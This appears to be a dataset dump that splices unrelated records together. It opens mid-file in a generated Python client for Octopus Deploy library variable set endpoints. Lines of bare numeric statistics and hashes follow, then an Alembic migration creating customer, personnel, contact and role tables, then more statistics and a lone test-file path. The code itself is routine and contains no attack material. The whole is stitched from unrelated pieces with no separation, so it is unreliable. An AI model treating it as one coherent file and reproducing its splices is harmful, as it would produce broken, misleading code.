header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ResourceCollectionLibraryVariableSetResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource(self, **kwargs): # noqa: E501 """Get a list of LibraryVariableSetResources # noqa: E501 Lists all the library variable sets in the supplied Octopus Deploy Space. The results will be sorted alphabetically by name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource(async_req=True) >>> result = thread.get() :param async_req bool :return: list[LibraryVariableSetResource] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(**kwargs) # noqa: E501 else: (data) = self.list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(**kwargs) # noqa: E501 return data def list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(self, **kwargs): # noqa: E501 """Get a list of LibraryVariableSetResources # noqa: E501 Lists all the library variable sets in the supplied Octopus Deploy Space. The results will be sorted alphabetically by name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: list[LibraryVariableSetResource] If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/libraryvariablesets/all', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[LibraryVariableSetResource]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(self, base_space_id, **kwargs): # noqa: E501 """Get a list of LibraryVariableSetResources # noqa: E501 Lists all the library variable sets in the supplied Octopus Deploy Space. The results will be sorted alphabetically by name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(base_space_id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :return: list[LibraryVariableSetResource] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, **kwargs) # noqa: E501 else: (data) = self.list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, **kwargs) # noqa: E501 return data def list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(self, base_space_id, **kwargs): # noqa: E501 """Get a list of LibraryVariableSetResources # noqa: E501 Lists all the library variable sets in the supplied Octopus Deploy Space. The results will be sorted alphabetically by name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :return: list[LibraryVariableSetResource] If the method is called asynchronously, returns the request thread. """ all_params = ['base_space_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'base_space_id' is set if ('base_space_id' not in params or params['base_space_id'] is None): raise ValueError("Missing the required parameter `base_space_id` when calling `list_all_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 collection_formats = {} path_params = {} if 'base_space_id' in params: path_params['baseSpaceId'] = params['base_space_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/{baseSpaceId}/libraryvariablesets/all', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[LibraryVariableSetResource]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def load_response_descriptor_variables_library_variable_set_library_variable_set_resource(self, id, **kwargs): # noqa: E501 """Get a LibraryVariableSetResource by ID # noqa: E501 Gets a single library variable set by ID # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.load_response_descriptor_variables_library_variable_set_library_variable_set_resource(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: ID of the LibraryVariableSetResource to load (required) :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.load_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.load_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, **kwargs) # noqa: E501 return data def load_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(self, id, **kwargs): # noqa: E501 """Get a LibraryVariableSetResource by ID # noqa: E501 Gets a single library variable set by ID # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.load_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: ID of the LibraryVariableSetResource to load (required) :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method load_response_descriptor_variables_library_variable_set_library_variable_set_resource" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `load_response_descriptor_variables_library_variable_set_library_variable_set_resource`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/libraryvariablesets/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LibraryVariableSetResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(self, base_space_id, id, **kwargs): # noqa: E501 """Get a LibraryVariableSetResource by ID # noqa: E501 Gets a single library variable set by ID # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(base_space_id, id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param str id: ID of the LibraryVariableSetResource to load (required) :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, **kwargs) # noqa: E501 else: (data) = self.load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, **kwargs) # noqa: E501 return data def load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(self, base_space_id, id, **kwargs): # noqa: E501 """Get a LibraryVariableSetResource by ID # noqa: E501 Gets a single library variable set by ID # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param str id: ID of the LibraryVariableSetResource to load (required) :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ all_params = ['base_space_id', 'id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'base_space_id' is set if ('base_space_id' not in params or params['base_space_id'] is None): raise ValueError("Missing the required parameter `base_space_id` when calling `load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `load_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 collection_formats = {} path_params = {} if 'base_space_id' in params: path_params['baseSpaceId'] = params['base_space_id'] # noqa: E501 if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/{baseSpaceId}/libraryvariablesets/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LibraryVariableSetResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def modify_response_descriptor_variables_library_variable_set_library_variable_set_resource(self, id, **kwargs): # noqa: E501 """Modify a LibraryVariableSetResource by ID # noqa: E501 Modifies an existing library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.modify_response_descriptor_variables_library_variable_set_library_variable_set_resource(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: ID of the LibraryVariableSetResource to modify (required) :param LibraryVariableSetResource library_variable_set_resource: The LibraryVariableSetResource resource to create :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, **kwargs) # noqa: E501 return data def modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(self, id, **kwargs): # noqa: E501 """Modify a LibraryVariableSetResource by ID # noqa: E501 Modifies an existing library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: ID of the LibraryVariableSetResource to modify (required) :param LibraryVariableSetResource library_variable_set_resource: The LibraryVariableSetResource resource to create :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'library_variable_set_resource'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method modify_response_descriptor_variables_library_variable_set_library_variable_set_resource" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `modify_response_descriptor_variables_library_variable_set_library_variable_set_resource`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'library_variable_set_resource' in params: body_params = params['library_variable_set_resource'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/libraryvariablesets/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LibraryVariableSetResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(self, base_space_id, id, **kwargs): # noqa: E501 """Modify a LibraryVariableSetResource by ID # noqa: E501 Modifies an existing library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(base_space_id, id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param str id: ID of the LibraryVariableSetResource to modify (required) :param LibraryVariableSetResource library_variable_set_resource: The LibraryVariableSetResource resource to create :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, **kwargs) # noqa: E501 else: (data) = self.modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, **kwargs) # noqa: E501 return data def modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(self, base_space_id, id, **kwargs): # noqa: E501 """Modify a LibraryVariableSetResource by ID # noqa: E501 Modifies an existing library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param str id: ID of the LibraryVariableSetResource to modify (required) :param LibraryVariableSetResource library_variable_set_resource: The LibraryVariableSetResource resource to create :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ all_params = ['base_space_id', 'id', 'library_variable_set_resource'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'base_space_id' is set if ('base_space_id' not in params or params['base_space_id'] is None): raise ValueError("Missing the required parameter `base_space_id` when calling `modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `modify_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 collection_formats = {} path_params = {} if 'base_space_id' in params: path_params['baseSpaceId'] = params['base_space_id'] # noqa: E501 if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'library_variable_set_resource' in params: body_params = params['library_variable_set_resource'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/{baseSpaceId}/libraryvariablesets/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LibraryVariableSetResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)
48.305338
218
0.675537
7,899
67,869
5.443221
0.027345
0.091055
0.105917
0.070146
0.98779
0.98779
0.98779
0.985138
0.985138
0.985138
0
0.012843
0.250821
67,869
1,404
219
48.339744
0.83277
0.344944
0
0.828496
1
0
0.230378
0.119677
0
0
0
0
0
1
0.038259
false
0
0.005277
0
0.100264
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
9affb77bc3f9ab6ee186559cd6e8c8219e36da04
11,804
py
Python
migrations/versions/3a2162fd58de_.py
joeflack4/just-a-dash
3fabb6e5e69e5f1a9ea07cf58b7496d3a64b0c8a
[ "MIT" ]
3
2019-06-27T13:29:07.000Z
2019-12-19T17:09:48.000Z
migrations/versions/3a2162fd58de_.py
joeflack4/just-a-dash
3fabb6e5e69e5f1a9ea07cf58b7496d3a64b0c8a
[ "MIT" ]
null
null
null
migrations/versions/3a2162fd58de_.py
joeflack4/just-a-dash
3fabb6e5e69e5f1a9ea07cf58b7496d3a64b0c8a
[ "MIT" ]
2
2019-06-29T16:04:01.000Z
2019-12-07T15:27:13.000Z
"""empty message Revision ID: 3a2162fd58de Revises: 633c71628a85 Create Date: 2016-04-03 11:25:44.460472 """ # revision identifiers, used by Alembic. revision = '3a2162fd58de' down_revision = '633c71628a85' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - please adjust! ### op.create_table('customers', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name_last', sa.String(length=80), nullable=False), sa.Column('name_first', sa.String(length=80), nullable=False), sa.Column('name_prefix', sa.String(length=80), nullable=True), sa.Column('name_suffix', sa.String(length=80), nullable=True), sa.Column('name_middle', sa.String(length=80), nullable=True), sa.Column('email1', sa.String(length=120), nullable=True), sa.Column('email2', sa.String(length=120), nullable=True), sa.Column('phone1', sa.String(length=20), nullable=True), sa.Column('phone2', sa.String(length=20), nullable=True), sa.Column('phone3', sa.String(length=20), nullable=True), sa.Column('phone4', sa.String(length=20), nullable=True), sa.Column('phone5', sa.String(length=20), nullable=True), sa.Column('pii_dob', sa.String(length=10), nullable=True), sa.Column('pii_other', sa.String(length=500), nullable=True), sa.Column('phi', sa.String(length=500), nullable=True), sa.Column('pfi', sa.String(length=500), nullable=True), sa.Column('address_street', sa.String(length=50), nullable=True), sa.Column('address_suite', sa.String(length=20), nullable=True), sa.Column('address_state', sa.String(length=2), nullable=True), sa.Column('address_county', sa.String(length=20), nullable=True), sa.Column('address_zip', sa.String(length=5), nullable=True), sa.Column('address_zip_extension', sa.String(length=4), nullable=True), sa.Column('billing_method', sa.String(length=50), nullable=True), sa.Column('billing_frequency', sa.String(length=50), nullable=True), sa.Column('billing_relation_name', sa.String(length=50), nullable=True), sa.Column('billing_email', sa.String(length=50), nullable=True), sa.Column('billing_address_street', sa.String(length=50), nullable=True), sa.Column('billing_address_suite', sa.String(length=20), nullable=True), sa.Column('billing_address_state', sa.String(length=2), nullable=True), sa.Column('billing_address_county', sa.String(length=20), nullable=True), sa.Column('billing_address_zip', sa.String(length=5), nullable=True), sa.Column('billing_address_zip_extension', sa.String(length=4), nullable=True), sa.Column('billing_notes', sa.String(length=50), nullable=True), sa.Column('relation_1_name', sa.String(length=100), nullable=True), sa.Column('relation_1_role', sa.String(length=100), nullable=True), sa.Column('relation_2_name', sa.String(length=100), nullable=True), sa.Column('relation_2_role', sa.String(length=100), nullable=True), sa.Column('relation_3_name', sa.String(length=100), nullable=True), sa.Column('relation_3_role', sa.String(length=100), nullable=True), sa.Column('relation_4_name', sa.String(length=100), nullable=True), sa.Column('relation_4_role', sa.String(length=100), nullable=True), sa.Column('relation_5_name', sa.String(length=100), nullable=True), sa.Column('relation_5_role', sa.String(length=100), nullable=True), sa.Column('customer_type', sa.String(length=100), nullable=True), sa.Column('customer_type_id1', sa.String(length=100), nullable=True), sa.Column('customer_type_id2', sa.String(length=100), nullable=True), sa.Column('customer_type_id3', sa.String(length=100), nullable=True), sa.Column('service_1_id', sa.String(length=100), nullable=True), sa.Column('service_1_day', sa.String(length=100), nullable=True), sa.Column('service_1_hours', sa.String(length=100), nullable=True), sa.Column('service_1_type', sa.String(length=100), nullable=True), sa.Column('service_1_rate', sa.String(length=10), nullable=True), sa.Column('service_2_id', sa.String(length=100), nullable=True), sa.Column('service_2_day', sa.String(length=100), nullable=True), sa.Column('service_2_hours', sa.String(length=100), nullable=True), sa.Column('service_2_type', sa.String(length=100), nullable=True), sa.Column('service_2_rate', sa.String(length=10), nullable=True), sa.Column('service_3_id', sa.String(length=100), nullable=True), sa.Column('service_3_day', sa.String(length=100), nullable=True), sa.Column('service_3_hours', sa.String(length=100), nullable=True), sa.Column('service_3_type', sa.String(length=100), nullable=True), sa.Column('service_3_rate', sa.String(length=10), nullable=True), sa.Column('service_4_id', sa.String(length=100), nullable=True), sa.Column('service_4_day', sa.String(length=100), nullable=True), sa.Column('service_4_hours', sa.String(length=100), nullable=True), sa.Column('service_4_type', sa.String(length=100), nullable=True), sa.Column('service_4_rate', sa.String(length=10), nullable=True), sa.Column('service_5_id', sa.String(length=100), nullable=True), sa.Column('service_5_day', sa.String(length=100), nullable=True), sa.Column('service_5_hours', sa.String(length=100), nullable=True), sa.Column('service_5_type', sa.String(length=100), nullable=True), sa.Column('service_5_rate', sa.String(length=10), nullable=True), sa.Column('service_6_id', sa.String(length=100), nullable=True), sa.Column('service_6_day', sa.String(length=100), nullable=True), sa.Column('service_6_hours', sa.String(length=100), nullable=True), sa.Column('service_6_type', sa.String(length=100), nullable=True), sa.Column('service_6_rate', sa.String(length=10), nullable=True), sa.Column('notes_case', sa.String(length=100), nullable=True), sa.Column('notes_other', sa.String(length=100), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_table('admin_roles', sa.Column('role', sa.String(length=20), nullable=False), sa.Column('permission', sa.String(length=80), nullable=False), sa.Column('read', sa.Boolean(), nullable=True), sa.Column('write', sa.Boolean(), nullable=True), sa.Column('update', sa.Boolean(), nullable=True), sa.Column('delete', sa.Boolean(), nullable=True), sa.PrimaryKeyConstraint('role') ) op.create_table('personnel', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name_last', sa.String(length=80), nullable=False), sa.Column('name_first', sa.String(length=80), nullable=False), sa.Column('name_prefix', sa.String(length=80), nullable=True), sa.Column('name_suffix', sa.String(length=80), nullable=True), sa.Column('name_middle', sa.String(length=80), nullable=True), sa.Column('email1', sa.String(length=120), nullable=True), sa.Column('email2', sa.String(length=120), nullable=True), sa.Column('phone1', sa.String(length=20), nullable=True), sa.Column('phone2', sa.String(length=20), nullable=True), sa.Column('phone3', sa.String(length=20), nullable=True), sa.Column('phone4', sa.String(length=20), nullable=True), sa.Column('phone5', sa.String(length=20), nullable=True), sa.Column('pii_dob', sa.String(length=10), nullable=True), sa.Column('pii_other', sa.String(length=500), nullable=True), sa.Column('phi', sa.String(length=500), nullable=True), sa.Column('pfi', sa.String(length=500), nullable=True), sa.Column('address_street', sa.String(length=50), nullable=True), sa.Column('address_suite', sa.String(length=20), nullable=True), sa.Column('address_state', sa.String(length=2), nullable=True), sa.Column('address_county', sa.String(length=20), nullable=True), sa.Column('address_zip', sa.String(length=5), nullable=True), sa.Column('address_zip_extension', sa.String(length=4), nullable=True), sa.Column('relation_1_name', sa.String(length=100), nullable=True), sa.Column('relation_1_notes', sa.String(length=100), nullable=True), sa.Column('relation_2_name', sa.String(length=100), nullable=True), sa.Column('relation_2_notes', sa.String(length=100), nullable=True), sa.Column('notes_other', sa.String(length=100), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_table('group_roles', sa.Column('id', sa.String(length=20), nullable=False), sa.Column('permission', sa.String(length=80), nullable=False), sa.Column('read', sa.Boolean(), nullable=True), sa.Column('write', sa.Boolean(), nullable=True), sa.Column('update', sa.Boolean(), nullable=True), sa.Column('delete', sa.Boolean(), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_table('contacts', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name_last', sa.String(length=80), nullable=False), sa.Column('name_first', sa.String(length=80), nullable=False), sa.Column('name_prefix', sa.String(length=80), nullable=True), sa.Column('name_suffix', sa.String(length=80), nullable=True), sa.Column('name_middle', sa.String(length=80), nullable=True), sa.Column('email1', sa.String(length=120), nullable=True), sa.Column('email2', sa.String(length=120), nullable=True), sa.Column('phone1', sa.String(length=20), nullable=True), sa.Column('phone2', sa.String(length=20), nullable=True), sa.Column('phone3', sa.String(length=20), nullable=True), sa.Column('phone4', sa.String(length=20), nullable=True), sa.Column('phone5', sa.String(length=20), nullable=True), sa.Column('pii_dob', sa.String(length=10), nullable=True), sa.Column('pii_other', sa.String(length=500), nullable=True), sa.Column('phi', sa.String(length=500), nullable=True), sa.Column('pfi', sa.String(length=500), nullable=True), sa.Column('address_street', sa.String(length=50), nullable=True), sa.Column('address_suite', sa.String(length=20), nullable=True), sa.Column('address_state', sa.String(length=2), nullable=True), sa.Column('address_county', sa.String(length=20), nullable=True), sa.Column('address_zip', sa.String(length=5), nullable=True), sa.Column('address_zip_extension', sa.String(length=4), nullable=True), sa.Column('relation_1_name', sa.String(length=100), nullable=True), sa.Column('relation_1_notes', sa.String(length=100), nullable=True), sa.Column('relation_2_name', sa.String(length=100), nullable=True), sa.Column('relation_2_notes', sa.String(length=100), nullable=True), sa.Column('notes_other', sa.String(length=100), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_table('agencies', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=80), nullable=False), sa.Column('abbreviation', sa.String(length=20), nullable=True), sa.PrimaryKeyConstraint('id') ) op.add_column('user', sa.Column('admin_role', sa.String(length=20), nullable=True)) op.add_column('user', sa.Column('group_roles', sa.String(length=500), nullable=True)) op.drop_column('user', 'groups') op.drop_column('user', 'permissions') ### end Alembic commands ### def downgrade(): ### commands auto generated by Alembic - please adjust! ### op.add_column('user', sa.Column('permissions', sa.VARCHAR(length=500), autoincrement=False, nullable=True)) op.add_column('user', sa.Column('groups', sa.VARCHAR(length=500), autoincrement=False, nullable=True)) op.drop_column('user', 'group_roles') op.drop_column('user', 'admin_role') op.drop_table('agencies') op.drop_table('contacts') op.drop_table('group_roles') op.drop_table('personnel') op.drop_table('admin_roles') op.drop_table('customers') ### end Alembic commands ###
56.75
111
0.700356
1,711
11,804
4.71654
0.070719
0.153656
0.24461
0.322181
0.920942
0.920322
0.900372
0.895787
0.869517
0.835688
0
0.044661
0.11225
11,804
207
112
57.024155
0.725451
0.024653
0
0.518519
0
0
0.17047
0.017334
0
0
0
0
0
1
0.010582
false
0
0.010582
0
0.021164
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
b1206c7dd13b2bde46d9d5fc951ef89298040872
16,340
py
Python
tests/test_table_inline_formset.py
blasferna/crispy-tailwind
f1001e3b315f1c9d83c0a03b818cd21379784c79
[ "MIT" ]
null
null
null
tests/test_table_inline_formset.py
blasferna/crispy-tailwind
f1001e3b315f1c9d83c0a03b818cd21379784c79
[ "MIT" ]
null
null
null
tests/test_table_inline_formset.py
blasferna/crispy-tailwind
f1001e3b315f1c9d83c0a03b818cd21379784c79
[ "MIT" ]
null
null
null
